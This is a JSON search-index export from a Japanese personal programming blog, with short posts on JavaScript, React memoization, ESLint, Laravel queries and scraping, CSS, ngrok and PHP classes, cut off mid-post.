[{"content":"","permalink":"https://pop-web.github.io/test/","summary":"","title":"test"},{"content":"テスト\n","permalink":"https://pop-web.github.io/about/","summary":"\u003cp\u003eテスト\u003c/p\u003e","title":"about"},{"content":"プロジェクトで「if (window.top === window.self) {…}」という条件式を初めて見たので、その意味を調べてみました。\nこの条件式は、開いているページがiframeで読み込んだページを表示しているかどうかを判定するためのものです。\nwindow.topは、最上位のコンテキスト（ウィンドウ）を返します。iframe要素を複数埋め込んでいる場合でも、一番上の親ウィンドウを取得することができます。\n一方、window.selfは現在のウィンドウ自身を返します。\nしたがって、iframeがないページではwindow.selfとwindow.topは等価になります。これを利用して、ページがiframeを含むかどうかを判定することができます。\n","permalink":"https://pop-web.github.io/programming/javascript/window-top-window-self/","summary":"\u003cp\u003eプロジェクトで「if (window.top === window.self) {…}」という条件式を初めて見たので、その意味を調べてみました。\u003c/p\u003e\n\u003cp\u003eこの条件式は、開いているページがiframeで読み込んだページを表示しているかどうかを判定するためのものです。\u003c/p\u003e","title":"window.top === window.selfは何をしているのか？"},{"content":"聡明な伴侶を得られるのなら共に歩め\n聡明な人と歩めないのなら一人歩め\n愚かなものを道連れとするな。\n孤独に歩め、悪を為さず\n求めるところは少なく、林の中の象のように\nこれはブッタの言葉である｡\n自分なりに解釈してみたら、以下のような感じ。\n理想のパートナーが見つけられたならそれでいいが、そうでない人と共に歩んでいくと自らを堕落させてしまう。\nそれならば、林の中に佇んでいる象のように、気高く自信を持って自らの道を歩んでいけ。\n","permalink":"https://pop-web.github.io/kingen/%E6%9E%97%E3%81%AE%E4%B8%AD%E3%81%AE%E8%B1%A1%E3%81%AE%E3%82%88%E3%81%86%E3%81%AB/","summary":"\u003cp\u003e\u003cstrong\u003e聡明な伴侶を得られるのなら共に歩め\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e聡明な人と歩めないのなら一人歩め\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e愚かなものを道連れとするな。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e孤独に歩め、悪を為さず\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e求めるところは少なく、林の中の象のように\u003c/strong\u003e\u003c/p\u003e","title":"林の中の象のように..."},{"content":"Ractには、メモ化するhookが用意されている。\nそもそもメモ化とは？\nメモ化とは関数実行後の結果をキャッシュか何か保存しておくことによって、再度同じ関数を実行するのではなく、保存しておいた結果を返すこと。それによって実行速度を高速化させるためのものである。\nReactのパフォーマンスを最適化する Reactはコンポーネントのpropsやstateが更新されると、その配下の全ての子コンポーネントも再レンダリングされる。\nそのため、不要な再計算や再レンダリングを抑えるとことでパフォーマンスを最適化することができる。\nその最適化の方法が、メモ化がである。\nメモ化を実現する方法としてReact.memo、 useMemo、useCallbackがある。\nメモ化の対象するものがそれぞれ異なる。\nReact.memo: コンポーネントをメモ化するReactのAPI useMemo: 計算結果をメモ化するHook useCallback: コールバック関数をメモ化するHook React.memo React.memoを利用することで、コンポーネントの再レンダリングを抑止することができるのでパフォーマンス向上がする。\n特に、レンダリング量が多いコンポーネントや再レンダリング頻繁に行われるコンポーネント内の子コンポーネントで有効である\nReact.memoの使い方 React.memoの書き方は以下のよう。\nReact.memo(メモ化したいコンポーネント) 以下、コードの一例\nconst Hoge = React.memo((props) =\u0026gt; \u0026lt;div\u0026gt;{props.name}\u0026lt;/div\u0026gt;); codeSandbox\nReact.memoは、渡ってきたpropsが等価であるかをチェックして、等価であれば再レンダリングはされずにメモ化で保存したコンポーネントを再利用する。\nHogeコンポーネントは、props.nameに変更がなければコンポーネントは再レンダリングされない。\nコールバック関数をpropsで渡ってきた場合は再レンダリングされる 関数に関しては再レンダリングされるたびに、新しいオブジェクトを生成するためpropsで渡ってきた場合、等価とは判断されずに再レンダリングされる。\nそのため、関数の内容が同じでも再レンダリングされる。\n以下がその一例\nimport React, { useState } from \u0026#34;react\u0026#34;; const Hoge = React.memo((props) =\u0026gt; { console.log(\u0026#34;Hoge Render!\u0026#34;); return \u0026lt;div onClick={props.handleClick}\u0026gt;{props.name}\u0026lt;/div\u0026gt; }); export const App = () =\u0026gt; { const [toggle, setToggle] = useState(false); // 関数は再レンダリングされるたびに再生成されるため等価評価されない const handleClick = () =\u0026gt; { console.log(\u0026#34;Click!\u0026#34;); }; return ( \u0026lt;div className=\u0026#34;App\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;Hello CodeSandbox\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;Start editing to see some magic happen!\u0026lt;/h2\u0026gt; \u0026lt;button onClick={() =\u0026gt; setToggle(!toggle)}\u0026gt; Appコンポーネントを再レンダリング！ \u0026lt;/button\u0026gt; \u0026lt;br /\u0026gt; \u0026lt;Hoge name={\u0026#34;fuga\u0026#34;} handleClick={handleClick} /\u0026gt; \u0026lt;/div\u0026gt; ); }; codeSandbox\nこの問題を解消するためには、useCallbackを使用するとよい。\nuseCallback 先述にあるようにReact.memoでメモ化したコンポーネントにコールバック関数が渡ってきた場合は再レンダリングがされる。\nそのため、useCallbackを併用する。\nuseCallbackはメモ化したコールバック関数を返すhookである。\nまず、useCallbackでコールバック関数メモ化する。\nメモ化したコールバック関数をReact.memoでメモ化したコンポーネントにpropsとして渡すと再レンダリングを抑止することができる。\nuseCallbackの使い方 useCallback(コールバック関数, 依存配列); 依存は配列には、コーバルバック関数が依存している要素を入れる。\n依存している要素が更新されれば、関数も新たに生成される。\n先程のコードのにuseCallbackを加えてみる。\nimport React, { useState, useCallback } from \u0026#34;react\u0026#34;; const Hoge = React.memo((props) =\u0026gt; { console.log(\u0026#34;Hoge Render!\u0026#34;); return \u0026lt;div onClick={props.handleClick}\u0026gt;{props.name}\u0026lt;/div\u0026gt;; }); export const App = () =\u0026gt; { const [toggle, setToggle] = useState(false); // 関数をメモ化。等価ななるためHogeコンポーネントは再レンダリングされない const handleClick = useCallback(() =\u0026gt; { console.log(\u0026#34;Click!\u0026#34;); }, []); return ( \u0026lt;div className=\u0026#34;App\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;Hello CodeSandbox\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;Start editing to see some magic happen!\u0026lt;/h2\u0026gt; \u0026lt;button onClick={() =\u0026gt; setToggle(!toggle)}\u0026gt; Appコンポーネントを再レンダリング！ \u0026lt;/button\u0026gt; \u0026lt;br /\u0026gt; \u0026lt;Hoge name={\u0026#34;fuga\u0026#34;} handleClick={handleClick} /\u0026gt; \u0026lt;/div\u0026gt; ); }; codeSandbox\n注意点は、React.memoでメモ化していないコンポーネントへuseCallbackでメモ化したコールバックス関数を渡しても意味はなく、再レンダリングがされてしまう。\nつまり、useCallbackはReact.memoと併用して使用するものだということ。\nまた、useCallbackでメモ化したコールバック関数を、自身のコンポーネントで利用しても動作はするが意味がない。\nuseMemo useMemoは計算結果の値をメモ化して返すhook。\nuseMemoの使い方 useMemo(() =\u0026gt; 計算結果を出すロジック, 依存配列); useMemoは、値が変わらない場合、再計算をさせないことでパフォーマンスを向上することができる。\n依存配列には、値を計算する際に依存している要素を入れて、更新された時だけ再計算がされる。\nまた、React.memoのようにレンダリングもメモ化できる。\n以下のコードは2倍にする計算をメモ化している。\nAppコンポーネントが再レンダリングされても、doubleが実行されないことが分かる。\nimport React, { useState, useMemo } from \u0026#34;react\u0026#34;; export const App = () =\u0026gt; { const [toggle, setToggle] = useState(false); const double = (count) =\u0026gt; { console.log(\u0026#34;Run double!\u0026#34;); return count * 2; }; // 2倍する計算結果をメモすることで、再レンダリングされても再計算されない const doubleResult = useMemo(() =\u0026gt; double(1), []); return ( \u0026lt;div className=\u0026#34;App\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;Hello CodeSandbox\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;Start editing to see some magic happen!\u0026lt;/h2\u0026gt; \u0026lt;button onClick={() =\u0026gt; setToggle(!toggle)}\u0026gt; Appコンポーネントを再レンダリング！ \u0026lt;/button\u0026gt; \u0026lt;div\u0026gt;{doubleResult}\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; ); }; codeSandbox\nレンダリングのメモ化 useMemoはレンダリングもメモ化できる。\n以下は、Hogeコンポーネントのレンダリングをメモ化して、不要なレンダリングを抑止している。\n注意点として、関数コンポーネント内で、コンポーネントをメモ化したい時にuseMemoでメモ化ができるが、React.memoのようにコンポーネント外でではできない。\n逆にコンポーネント内でReact.memoを利用しても意味がない。\nimport React, { useState, useMemo } from \u0026#34;react\u0026#34;; export const App = () =\u0026gt; { const [toggle, setToggle] = useState(false); const Hoge = useMemo(() =\u0026gt; { console.log(\u0026#34;Hoge Render!\u0026#34;); return \u0026lt;div\u0026gt;fuga\u0026lt;/div\u0026gt;; }, []); return ( \u0026lt;div className=\u0026#34;App\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;Hello CodeSandbox\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;Start editing to see some magic happen!\u0026lt;/h2\u0026gt; \u0026lt;button onClick={() =\u0026gt; setToggle(!toggle)}\u0026gt; Appコンポーネントを再レンダリング！ \u0026lt;/button\u0026gt; \u0026lt;br /\u0026gt; {Hoge} \u0026lt;/div\u0026gt; ); }; codeSandbox\nメモ化をする処理自体のコストについて useMemoやuseCallbackを使用してメモ化することで、パフォーマンスの向上を見込めるが、何でもかんでもメモ化したらいいわけではない。\nなぜなら、メモ化する処理自体にもコストがかかるから。\nuseCallbackのメモ化のコストは、関数を再生成するコストより大きくなってしまう場合が多いから。\nなので、useCallbackをわざわざ利用する必要ないところで使用するとパフォーマンスが悪くなってしまうということ。\n明らかに再レンダリングや再計算のコストが高い場合に使用して、適切に使用することがポイントとなる。\n","permalink":"https://pop-web.github.io/programming/react/%E3%80%90%E5%88%9D%E5%BF%83%E8%80%85%E8%A7%A3%E8%AA%AC%E3%80%91react-memo-usememo-usecallback%E3%81%A8%E3%81%AF%EF%BC%9F/","summary":"\u003cp\u003eRactには、メモ化するhookが用意されている。\u003c/p\u003e\n\u003cp\u003eそもそも\u003cstrong\u003eメモ化\u003c/strong\u003eとは？\u003c/p\u003e\n\u003cp\u003eメモ化とは関数実行後の結果をキャッシュか何か保存しておくことによって、再度同じ関数を実行するのではなく、保存しておいた結果を返すこと。それによって実行速度を高速化させるためのものである。\u003c/p\u003e","title":"【初心者解説】React.memo, useMemo, useCallbackとは？"},{"content":"JavaScriptにのデータ型には、プリミティブ型（基本型）とオブジェクト型（参照型）がある\nプリミティブ型（基本型） 真偽値（boolean） 数値（number） 文字列（string） null undefined シンボル（symbol） オブジェクト型（参照型） プリミティブ型（基本型）以外のデータ型\nオブジェクト（object） 配列（array） 関数（function） プリミティブ型とオブジェクト型の違い プリミティブ型は変数をコピーする時、変数の中身の値がそのままコピーされる。\nオブジェクト型は変数をコピーする時、その値がコピーされるのではなく、そのオブジェクトが持っているメモリ上のアドレスがコピーされる。\n以下がその例\nプリミティブ型の場合 let a = 20; let b = a; a = 80; console.log(a); // 80 console.log(b); // 20 bにaを代入した後にaに新たに100の値を代入しているが、bに影響は受けない。\nさっきも説明したように、メモリ参照せずに変数の値をそのままコピーしていることが分かる。\nオブジェクト型の場合 let obj1 = { name: \u0026#34;ken\u0026#34;, age: 20 }; let obj2 = obj1; obj1.age = 80; console.log(obj1.age); // 100 console.log(obj2.age); // 100 obj2にobj1を代入することで、obj1もobj2も同じメモリ上のアドレスと保持するようになったため、片方のageの値を変更すると、もう片方の値も同じになる。\n","permalink":"https://pop-web.github.io/programming/javascript/primitive-object/","summary":"\u003cp\u003eJavaScriptにのデータ型には、プリミティブ型（基本型）とオブジェクト型（参照型）がある\u003c/p\u003e\n\u003ch2 id=\"プリミティブ型基本型\"\u003eプリミティブ型（基本型）\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e真偽値（boolean）\n数値（number）\n文字列（string）\nnull\nundefined\nシンボル（symbol）\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"オブジェクト型参照型\"\u003eオブジェクト型（参照型）\u003c/h2\u003e\n\u003cp\u003eプリミティブ型（基本型）以外のデータ型\u003c/p\u003e","title":"【JavaScript】プリミティブ型（基本型）とオブジェクト型（参照型）について"},{"content":".eslintrcのrulesに「defalut export」の記述を禁止するルールを追加したとする。\nmodule.exports = { ... rules: { ... \u0026#34;import/no-default-export\u0026#34;: \u0026#34;error\u0026#34;, ... } }; このとき、sotrybookのstories.tsxにはこのルールは適用外にしたい。\nその場合にはどうするか？\noverridesを使って、適用したいファイル名とルールを無効化する記述すればよい。\nmodule.exports = { ... rules: { ... \u0026#34;import/no-default-export\u0026#34;: \u0026#34;error\u0026#34;, ... }, overrides: [ { files: [\u0026#34;**/*.stories.tsx\u0026#34;], rules: { \u0026#34;import/no-default-export\u0026#34;: \u0026#34;off\u0026#34;, }, }, ], }; 参考文献 https://eslint.org/docs/user-guide/configuring/configuration-files#configuration-based-on-glob-patterns\n","permalink":"https://pop-web.github.io/programming/javascript/eslint-overrides/","summary":"\u003cp\u003e.eslintrcのrulesに「defalut export」の記述を禁止するルールを追加したとする。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003emodule.exports = {\n...\n  rules: {\n...\n    \u0026#34;import/no-default-export\u0026#34;: \u0026#34;error\u0026#34;,\n...\n  }\n};\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eこのとき、sotrybookのstories.tsxにはこのルールは適用外にしたい。\u003c/p\u003e","title":"eslintのルールで特定ファイルのみ適用外にしたい場合の書き方"},{"content":"タイトル通りだが、まずはやりたいことの説明\nやりたいこと リレーション先の中間テーブルのカラムの値に対して検索をかけたい。\n状況 menus、stores、menu_store（中間テーブル）とうテーブルを作成しており、\nモデルは以下のような感じで中間テーブルを置いてリレーションしている。\nclass Menu extends Model { public function stores() { return $this-\u0026gt;belongsToMany(\u0026#39;App\\Store\u0026#39;,\u0026#39;menu_store\u0026#39;,\u0026#39;menu_id\u0026#39;,\u0026#39;store_id\u0026#39;)-\u0026gt;withTimestamps(); } } class Store extends Model { public function menus() { return $this-\u0026gt;belongsToMany(\u0026#39;App\\Menu\u0026#39;); } } 解決方法 whereHasを使う。\n以下だと、中間テーブルであるmenu_storeのstore_idでwhereInで条件を絞りたい時の場合。\n$storeId = [1,2,3] $query = Menu::query(); $query-\u0026gt;whereHas(\u0026#39;stores\u0026#39;, function($q) use($storeId) { $q-\u0026gt;whereIn(\u0026#39;menu_store.store_id\u0026#39;, $storeId); }); コールバック関数の中でリレーション先である中間テーブルの検索条件を指定してあげれば良い。\n中間テーブルのカラムではなく、中間テーブルを介して結合しているテーブル（storesテーブル）のカラムで検索することも可能。\nその場合も同様でコールバック関数の中の詳細条件を変更すれば良い。\n$q-\u0026gt;whereIn(\u0026#39;store.store_id\u0026#39;, $storeId) ","permalink":"https://pop-web.github.io/programming/laravel/%E3%80%90laravel%E3%80%91%E4%B8%AD%E9%96%93%E3%83%86%E3%83%BC%E3%83%96%E3%83%AB%E3%81%AE%E3%82%AB%E3%83%A9%E3%83%A0%E3%81%AB%E5%AF%BE%E3%81%97%E3%81%A6%E6%A4%9C%E7%B4%A2%E3%82%92%E3%81%8B%E3%81%91/","summary":"\u003cp\u003eタイトル通りだが、まずはやりたいことの説明\u003c/p\u003e\n\u003ch2 id=\"やりたいこと\"\u003eやりたいこと\u003c/h2\u003e\n\u003cp\u003eリレーション先の中間テーブルのカラムの値に対して検索をかけたい。\u003c/p\u003e\n\u003ch2 id=\"状況\"\u003e状況\u003c/h2\u003e\n\u003cp\u003emenus、stores、menu_store（中間テーブル）とうテーブルを作成しており、\u003c/p\u003e","title":"【Laravel】中間テーブルのカラムに対して検索をかけたい時【whereHas】"},{"content":"reduce()の説明と使い方を説明する。\nreduce()は、配列の隣り合う値に対して関数を適用させて、その実行結果を返すメソッド。\nコードを書いて動きを確認してみる。\nconst arr = [1, 2, 3] console.log(arr.reduce((acc, cur) =\u0026gt; acc + cur)) // 6 まず、第2引数のcurには、arrの値が順番に入ってくる。\n第1引数accには前回実行時の値が入ってくる。\nそして、返値として最後に実行された値を返す。\n具体的に実行処理は以下。\n1回目の実行：cur=1となり、前回実行の値はないので、1が返る 2回目の実行：cur=2となり、前回実行の値はacc=1なので、1+2=3が返る 3回目の実行：cur=3となり、前回実行の値はacc=1なので、3+3=6が返る ","permalink":"https://pop-web.github.io/programming/javascript/javascript-reduce/","summary":"\u003cp\u003ereduce()の説明と使い方を説明する。\u003c/p\u003e\n\u003cp\u003ereduce()は、配列の隣り合う値に対して関数を適用させて、その実行結果を返すメソッド。\u003c/p\u003e\n\u003cp\u003eコードを書いて動きを確認してみる。\u003c/p\u003e","title":"【JavaScript入門】reduceについて説明と使い方"},{"content":"まず、LaravelでWebスクレイピングするため、ライブラリである「FriendsOfPHP/Goutte」をインストールする。\nLaravelのバージョンはLaravel6.20。\nインストール $ composer require fabpot/goutte 以前のLaravelのバージョンではconfigファイルを設定する必要があるが、Laravel5.5以降はAutoDiscoveryがあるのでそのまま使える。\n実装 まず、controllerを作成する。\n$ php artisan make:controller ScrapingController controllerに処理を書く 今回は漫画書籍ランキングからタイトルだけ取得してみる。\n\u0026lt;?php namespace App\\Http\\Controllers; use Goutte\\Client; class ScrapingController extends Controller { public function scraping() { $client = new Client(); $crawler = $client-\u0026gt;request(\u0026#39;GET\u0026#39;, \u0026#39;https://www.amazon.co.jp/gp/bestsellers/digital-text/2430812051/ref=pd_zg_hrsr_digital-text\u0026#39;); $titles = $crawler-\u0026gt;filter(\u0026#39;li.zg-item-immersion\u0026#39;)-\u0026gt;each(function ($li) { $title = $li-\u0026gt;filter(\u0026#39;div.p13n-sc-truncate-desktop-type2\u0026#39;)-\u0026gt;text(); return $title; }); return view(\u0026#39;scraping\u0026#39;, compact(\u0026#39;titles\u0026#39;)); } } 基本的には、use Goutte\\Client;してnew Client();でインスタンスを作ると色々メソッドが使えるようになる。\n使い方は、FriendsOfPHP/GoutteやDomCrawlerが参考になると思う。\nviewを作る 次に取得したタイトルを表示するviewをつくる。\n@extends(\u0026#39;layouts.app\u0026#39;) @section(\u0026#39;content\u0026#39;) \u0026lt;ol class=\u0026#34;container\u0026#34;\u0026gt; @foreach($titles as $title) \u0026lt;li\u0026gt;{{ $title }}\u0026lt;/li\u0026gt; @endforeach \u0026lt;/ol\u0026gt; @endsection ルーティングの設定 Route::get(\u0026#39;/scraping\u0026#39;, \u0026#39;ScrapingController@scraping\u0026#39;)-\u0026gt;name(\u0026#39;scraping\u0026#39;); 表示の確認 ブラウザで表示確認してみる。\n定期実行のやり方 定期実行されるには、まずコマンドラインで実行させるためコマンドクラスを作成する。\n$ php artisan make:command ScrapingCommand コマンドクラスに処理を書く app/Console/Commands/ScrapeCommand.phpが作成されているので、これを編集。\n\u0026lt;?php namespace App\\Console\\Commands; // useでGoutte\\Clientをインポート use Goutte\\Client; use Illuminate\\Console\\Command; class ScrapingCommand extends Command { /** * The name and signature of the console command. * * @var string */ // コマンド名を変更 protected $signature = \u0026#39;command:ScrapingCommand\u0026#39;; /** * The console command description. * * @var string */ // コマンドの説明を変更 protected $description = \u0026#39;スクレイピングコマンド\u0026#39;; /** * Create a new command instance. * * @return void */ public function __construct() { parent::__construct(); } /** * Execute the console command. * * @return mixed */ public function handle() { //　スクレイピング処理を書く $client = new Client(); $crawler = $client-\u0026gt;request(\u0026#39;GET\u0026#39;, \u0026#39;https://www.amazon.co.jp/gp/bestsellers/digital-text/2430812051/ref=pd_zg_hrsr_digital-text\u0026#39;); $titles = $crawler-\u0026gt;filter(\u0026#39;li.zg-item-immersion\u0026#39;)-\u0026gt;each(function ($li) { $title = $li-\u0026gt;filter(\u0026#39;div.p13n-sc-truncate-desktop-type2\u0026#39;)-\u0026gt;text(); return $title; }); dd($titles); } } コマンドを実行してみる $ php artisan command:ScrapingCommand コマンド実行後、コマンドラインから取得が確認できたらOK。\nデータベース保存 データベースに保存する処理を追加。\nモデルとマイグレーションファイルを作成しておく。\n$ php artisan make:model Item -m 作成されたマイグレーションファイルを編集\n\u0026lt;?php //... /** * Run the migrations. * * @return void */ public function up() { Schema::create(\u0026#39;items\u0026#39;, function (Blueprint $table) { $table-\u0026gt;bigIncrements(\u0026#39;id\u0026#39;); $table-\u0026gt;string(\u0026#39;title\u0026#39;); $table-\u0026gt;timestamps(); }); } //... } マイグレーションを実行しておく。\n$ php artisan migrate データベース保存 コマンドクラスにデータベース保存処理を追記。\n\u0026lt;?php namespace App\\Console\\Commands; use App\\Item; use Goutte\\Client; use Illuminate\\Console\\Command; class ScrapingCommand extends Command { /** * The name and signature of the console command. * * @var string */ // コマンド名 protected $signature = \u0026#39;command:ScrapingCommand\u0026#39;; /** * The console command description. * * @var string */ // コマンドの説明 protected $description = \u0026#39;スクレイピングコマンド\u0026#39;; /** * Create a new command instance. * * @return void */ public function __construct() { parent::__construct(); } /** * Execute the console command. * * @return mixed */ public function handle() { //　スクレイピング処理を書く $client = new Client(); $crawler = $client-\u0026gt;request(\u0026#39;GET\u0026#39;, \u0026#39;https://www.amazon.co.jp/gp/bestsellers/digital-text/2430812051/ref=pd_zg_hrsr_digital-text\u0026#39;); $titles = $crawler-\u0026gt;filter(\u0026#39;li.zg-item-immersion\u0026#39;)-\u0026gt;each(function ($li) { $title = $li-\u0026gt;filter(\u0026#39;div.p13n-sc-truncate-desktop-type2\u0026#39;)-\u0026gt;text(); return $title; }); //データベース保存 foreach ($titles as $title) { $item = new Item; $item-\u0026gt;title = $title; $item-\u0026gt;save(); } } } Herokuに定期実行を設定 Herokuにアプリをデプロイしておく。\n次に、HerokuSchedulerアドオンをアプリに追加。\n$ heroku addons:create scheduler:standard HerokuSchedulerのダッシュボードを開く。\n$ heroku addons:open scheduler Add Jobをクリックして、ジョブを登録する。\n「Schedule」で実行時刻を選択し、「Run Command」に作成したコマンドクラスを実行するコマンドを入力しておく。\nこれで、定期的にスクレイピングしてデータを取得できるようになる。\n","permalink":"https://pop-web.github.io/programming/laravel/laravel%E3%81%A7%E3%82%B9%E3%82%AF%E3%83%AC%E3%82%A4%E3%83%94%E3%83%B3%E3%82%B0%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95/","summary":"\u003cp\u003eまず、LaravelでWebスクレイピングするため、ライブラリである「\u003ca href=\"https://github.com/FriendsOfPHP/Goutte\"\u003eFriendsOfPHP/Goutte\u003c/a\u003e」をインストールする。\u003c/p\u003e\n\u003cp\u003eLaravelのバージョンはLaravel6.20。\u003c/p\u003e\n\u003ch2 id=\"インストール\"\u003eインストール\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ composer require fabpot/goutte\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e以前のLaravelのバージョンではconfigファイルを設定する必要があるが、Laravel5.5以降はAutoDiscoveryがあるのでそのまま使える。\u003c/p\u003e","title":"LaravelでスクレイピングしてHerokuで定期実行する方法"},{"content":"改行されているテキストにも対応できるCSSによるラインマーカーの作成。\n以下、コード。\nHTML \u0026lt;p\u0026gt; テキストテキストテキストテキストテキスト\u0026lt;br /\u0026gt; \u0026lt;span class=\u0026#34;line-marker\u0026#34;\u0026gt;テキストテキストテキストテキストテキスト\u0026lt;br /\u0026gt; テキストテキスト\u0026lt;/span\u0026gt;テキストテキストテキスト\u0026lt;br /\u0026gt; テキストテキストテキストテキストテキスト \u0026lt;/p\u0026gt; CSS .line-marker { background: linear-gradient(transparent 70%, #FDDEB3 0%); display: inline; padding: 0 2px 4px; } ","permalink":"https://pop-web.github.io/programming/css/css-line-marker/","summary":"\u003cp\u003e改行されているテキストにも対応できるCSSによるラインマーカーの作成。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/programming/css/css-line-marker/images/16369e672a034d3e1667498ad55d3677.png\"\u003e\u003c/p\u003e\n\u003cp\u003e以下、コード。\u003c/p\u003e\n\u003ch5 id=\"html\"\u003eHTML\u003c/h5\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e\u0026lt;p\u0026gt;\n  テキストテキストテキストテキストテキスト\u0026lt;br /\u0026gt;\n  \u0026lt;span class=\u0026#34;line-marker\u0026#34;\u0026gt;テキストテキストテキストテキストテキスト\u0026lt;br /\u0026gt;\n    テキストテキスト\u0026lt;/span\u0026gt;テキストテキストテキスト\u0026lt;br /\u0026gt;\n  テキストテキストテキストテキストテキスト\n\u0026lt;/p\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003ch5 id=\"css\"\u003eCSS\u003c/h5\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e.line-marker {\n\tbackground: linear-gradient(transparent 70%, #FDDEB3 0%);\n\tdisplay: inline;\n\tpadding: 0 2px 4px;\n}\n\u003c/code\u003e\u003c/pre\u003e","title":"テキスト下に蛍光色ラインマーカーをCSSで作る（改行対応）"},{"content":"ローカル開発環境の状況をクライアントへ確認してもらいたい時、もしくは複数端末でブラウザ確認したい時は多々ある。\nしかし、ちょっと確認してもらえればいいのに、いちいちテスト環境用のサーバを用意してにアップロードするのは面倒。\nそこで、ローカル開発環境を簡単にWEB上に公開できるツール**「ngrok」**（エヌジーロック?\n）を使う。\nngrokのインストール Homebrewがインストールしているか確認。\nしていなければインストールしておく。\n$ brew -v 以下のコマンドでngrokをインストール\n$ brew install --cask ngrok 又は、 $ brew cask install ngrok Dockerのローカル開発環境をWEB公開する Dockerのローカル開発環境をWEB公開するには、まずはポートを確認。\n以下のようなURLで開発環境を確認している場合\nhttp://localhost:10080/ 以下の、コマンドでngrokが起動する\n$ ngrok http 10080 起動すると公開用のURLが発行される。\nForwardingのhttp://〜にアクセスすれば、WEB公開できたことが確認できる。\n公開を止める時は、Ctrl + C。\n","permalink":"https://pop-web.github.io/server/ngrok-docker/","summary":"\u003cp\u003eローカル開発環境の状況を\u003cstrong\u003eクライアントへ確認してもらいたい時、もしくは複数端末でブラウザ確認したい時\u003c/strong\u003eは多々ある。\u003c/p\u003e\n\u003cp\u003eしかし、ちょっと確認してもらえればいいのに、いちいちテスト環境用のサーバを用意してにアップロードするのは面倒。\u003c/p\u003e","title":"ngrokでDockerのローカル開発環境を簡単にWEB公開する方法"},{"content":"まず、オブジェクト指向とはなにかについて説明。\nオブジェクト指向は、ざっくりいうと役割をクラスごとに分けてそれを組み合わせながらプログラミングを行っていくこと。\nクラスは、変数、定数、関数を一つにまとめたものである。\nオブジェクト指向の3つの要素として以下があげられる。\nクラス継承 カプセル化 ポリモーフィズム（多様性） クラスの種類には、クラス、抽象クラス、インターフェース、トレイトというものがある。\nそれぞれ使い方や特徴は以下の通り。\nクラスの種類 宣言方法 使用方法 特徴 クラス class extends 一般的なクラス 抽象クラス abstract class extends 継承専用のクラス インターフェース interface implements メソッドのみ トレイト trait use useで複数継承できる クラスとインスタンスについて まず、クラスからインスタンスを作るという基本的なやり方から。\n\u0026lt;?php class Human { private $name = []; public function __construct($name) { $this-\u0026gt;name = $name; } public function getName() { echo $this-\u0026gt;name; } public static $friendName = \u0026#39;鈴木くん\u0026#39;; } $instance = new Human(\u0026#39;山田くん\u0026#39;); $instance-\u0026gt;getName(); // 山田くん echo Human::$friendName; // 鈴木くん Humanクラスから、newを使ってインスタンスを生成する。\n__constructは、インスタンスを生成するときに呼び出される初期化処理を書くことができる。\nここでは、インスタンス生成時に渡した値（\u0026lsquo;山田くん\u0026rsquo;）が、Humanクラスの$name変数に入る。\nそして、インスタンス化されたオブジェクトである$intanceの関数であるgetNameで値を表示している。\nまた、staticを使用することで、インスタンスを生成せずに、静的にプロパティやメソッドを呼び出すこともできる。\n呼び出し方は、24行目のように「クラス名::メソッド名」または、「クラス名::プロパティ名」という感じ。\nクラスの継承 クラスの継承はextendを使って行う。\n\u0026lt;?php class BaseHuman { public function echoFunction() { echo \u0026#39;BaseHumanのメソッドです。\u0026#39;; } } class Human extends BaseHuman { private $name = []; public function __construct($name) { $this-\u0026gt;name = $name; } public function getName() { echo $this-\u0026gt;name; } } $instance = new Human(\u0026#39;山田くん\u0026#39;); $instance-\u0026gt;echoFunction(); // BaseHumanのメソッドです。 BaseHumanというクラスを作成して、Humanクラスで継承する。\nそうすると、Humanクラスのインスタンス化したオブジェクトでBaseHumaクラスのメソッドを呼び出すことができる。\n継承元と同じメソッドを定義することで上書き（オーバーライド）することができる。\n\u0026lt;?php class BaseHuman { public function echoFunction() { echo \u0026#39;BaseHumanのメソッドです。\u0026#39;; } } class Human extends BaseHuman { private $name = []; public function __construct($name) { $this-\u0026gt;name = $name; } public function getName() { echo $this-\u0026gt;name; } // 上書きオーバーライド public function echoFunction() { echo \u0026#39;Humanのメソッドです。\u0026#39;; } } $instance = new Human(\u0026#39;山田くん\u0026#39;); $instance-\u0026gt;echoFunction(); // Humanのメソッドです。 上記では、BaseHumanのメソッドであるechoFunction()を上書きしている。\n補足：アクセス修飾子について クラス内で使用する変数や関数にアクセス修飾子とつけて、どこからアクセスできるかを指定することができる。\nアクセス修飾子 説明 private クラス外がアクセスできない、自分のクラスからのみアクセスできる protected 自分のクラスか、継承したクラスからアクセスできる public クラス外でも自分のクラスからでもアクセスできる 抽象クラスのついて 抽象クラスは継承される前提のクラスで、継承先で設定するメソッドやプロパティを強制する役割を持つ。\n抽象クラスにはclassの前にabstractを付ける。そして、抽象化したいメソッドの前にもabstractを付けることで継承先で強制ができる。\nこの時、abstractを付けて、abstractメソッドにするとメソッドの中身は書けないことになっている。\nabstractメソッドと普通のpublicメソッドも混在して定義することもできる。\n継承するにはextendを用いる。\n\u0026lt;?php // 抽象クラス abstract class humanAbstract { public function echoFunction(){ echo 